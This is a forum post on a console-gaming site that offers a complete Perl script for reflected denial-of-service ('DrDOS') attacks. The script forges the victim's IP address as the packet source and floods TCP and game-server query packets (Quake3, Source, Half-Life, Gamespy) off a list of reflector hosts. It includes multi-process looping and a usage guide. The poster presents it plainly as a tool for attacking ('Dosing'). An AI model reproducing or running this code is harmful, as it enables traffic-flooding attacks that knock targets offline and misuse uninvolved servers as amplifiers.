• Hello Guest! Welcome to ConsoleCrunch, to help support our site check out the premium upgrades HERE! to get exclusive access to our hidden content.
  • Unable to load portions of the website...
    If you use an ad blocker addon, you should disable it because it interferes with several elements of the site and blocks more than just adverts.
  • Read Rules Before Posting Post Virus Scans with every program.

DrDos [PERL]

ZionHD

Leader
Retired Staff
This is used for Dosing. It is coded in perl. You may need to install perl modules. If you do not know how to install the perl modules use google and find out.

Code:
#!/usr/bin/perl -w

use Benchmark;
use Net::RawIP;
use Time::HiRes qw ( usleep );

my $rand = int( rand 0x400 );
my $frag = 0;
my $doff = 0x05;
my $ttl  = 0xFF;
my $tos  = 0x08;
my $pid;
my $tx;
my @list;
my @running;
my @pids;

my %attack =
  ( "tcp" => \&tcp, "quake3" => \&quake3, "source" => \&source, "hl" => \&hl, "gs" => \&gs, "gs2" => \&gs2 );

if ( @ARGV < 7 || @ARGV > 7 ) {
    &usage();
    exit;
}

$tx = $ARGV[3];
my $t0 = new Benchmark;

print "\n*** Now Reading Hosts Into Array\n\n";

open( ELITE, $ARGV[2] ) || die "Unable to open $ARGV[2]!\n";
chomp( @list = <ELITE> );
close(ELITE);

sub tcp {
    my ( $ip, $port ) = @_;
    my $a = new Net::RawIP(
        {
            ip  => { saddr => $ARGV[0], daddr => $ip, frag_off => $frag, tos => $tos, ttl => $ttl },
            tcp => {
                dest   => $port,
                source => $ARGV[1],
                syn    => 1,
                ack    => 0,
                fin    => 0,
                rst    => 0,
                psh    => 0,
                urg    => 0,
                doff   => $doff
            }
        }
    );
    $a->send( 0, $tx );
}

sub quake3 {
    my ( $ip, $port ) = @_;
    my $a = new Net::RawIP(
        {
            ip  => { saddr => $ARGV[0], daddr => $ip, frag_off => $frag, tos => $tos, ttl => $ttl, },
            udp => {
                dest   => $port,
                source => $ARGV[1],
                data   => chr(255) . chr(255) . chr(255) . chr(255) . "getstatus" . chr(10),
            }
        }
    );
    $a->send( 0, $tx );
   

}

sub source {
    my ( $ip, $port ) = @_;
    my $a = new Net::RawIP(
        {
            ip => { saddr => $ARGV[0], daddr => $ip, frag_off => $frag, tos => $tos, ttl => $ttl, },
            udp => { dest => $port, source => $ARGV[1], data => chr(255) . chr(255) . chr(255) . chr(255) . chr(85), }
        }
    );
    $a->send( 0, $tx );
   

}

sub hl {
    my ( $ip, $port ) = @_;
    my $a = new Net::RawIP(
        {
            ip => { saddr => $ARGV[0], daddr => $ip, frag_off => $frag, tos => $tos, ttl => $ttl, },
            udp => { dest => $port, source => $ARGV[1], data => chr(255) . chr(255) . chr(255) . chr(255) . "rules", }
        }
    );
    $a->send( 0, $tx );
   
}

sub gs {
    my ( $ip, $port ) = @_;
    my $a = new Net::RawIP(
        {
            ip  => { saddr => $ARGV[0], daddr => $ip, frag_off => $frag, tos => $tos, ttl => $ttl, },
            udp => {
                dest   => $port,
                source => $ARGV[1],
                data   => chr(92) . chr(115) . chr(116) . chr(97) . chr(116) . chr(117) . chr(115) . chr(92),
            }
        }
    );
    $a->send( 0, $tx );
   
}

sub gs2 {
    my ( $ip, $port ) = @_;
    my $a = new Net::RawIP(
        {
            ip  => { saddr => $ARGV[0], daddr => $ip, frag_off => $frag, tos => $tos, ttl => $ttl, },
            udp => {
                dest   => $port,
                source => $ARGV[1],
                data   => chr(254)
                  . chr(253)
                  . chr(0)
                  . chr(67)
                  . chr(79)
                  . chr(82)
                  . chr(89)
                  . chr(255)
                  . chr(255)
                  . chr(255),
            }
        }
    );
    $a->send( 0, $tx );
   
}

sub paxor {
    my $type = $_[0];
    unless ( $type eq "mixed" ) {
        while (1) {
                        foreach (@list) { $attack{$type}->( split( ':', $_ ) );}
        }
    }
    else {
        my @part;
        while (1) {
            foreach (@list) {
                @part = split( ":", $_ );
                $attack{ $part[2] }->( $part[0], $part[1]);
            }
        }
    }
}


for($number = 0;$number < $ARGV[5];$number++)
{
$pid = fork();
if ( $pid == 0 ) {
    $SIG{INT} = \&controlsub;

    &paxor( $ARGV[4] );

    my $t1 = new Benchmark;
    my $td = timediff( $t1, $t0 );
    print "\nTotal Time: ", timestr($td), "\n";
    sleep(5);
    exit;
}
else {
        push(@pids, $pid);
}
}
sleep( $ARGV[6] );
foreach(@pids)
{
        kill( "INT", $_ );
}
        exit;

sub controlme {
    $SIG{INT} = \&controlme;
    print "Signal Caught Now Exiting\n";
    my $t1 = new Benchmark;
    my $td = timediff( $t1, $t0 );
    print "\nTotal Time: ", timestr($td), "\n";
    sleep(5);
    exit;
}

sub controlsub {
    $SIG{INT} = \&controlsub;
    exit;
}


sub usage {
    print << "HEREDOC";
$0 <target> <target port> <reflector list> <weight> <attack type> <threads> <Time>
DrDOS Tool V1.8 FINAL by ohnoes1479

Time: Limit running time of the script, Time is in seconds
threads: number of threads to run
attack types:
tcp:     reflected tcp SYN attack
quake3:  reflected udp attack using quake3 based servers
source:  reflected udp attack using Valve Source based servers
hl:      reflected udp attack using Half Life servers
gs:      reflected udp attack using Gamespy based servers
gs2:     reflected udp attack using Gamespy 2 based servers
mixed:   specify type of server in list, EG:
8.8.8.8:80:tcp
64.120.46.100:28960:quake3
Command: $0 127.0.0.1 8080 servers.txt 5 tcp
HEREDOC

}
 
General chit-chat
Help Users


      You do not have the permission to use the chat.
      @ QM|T_JinX: :weed:
      Back
      Top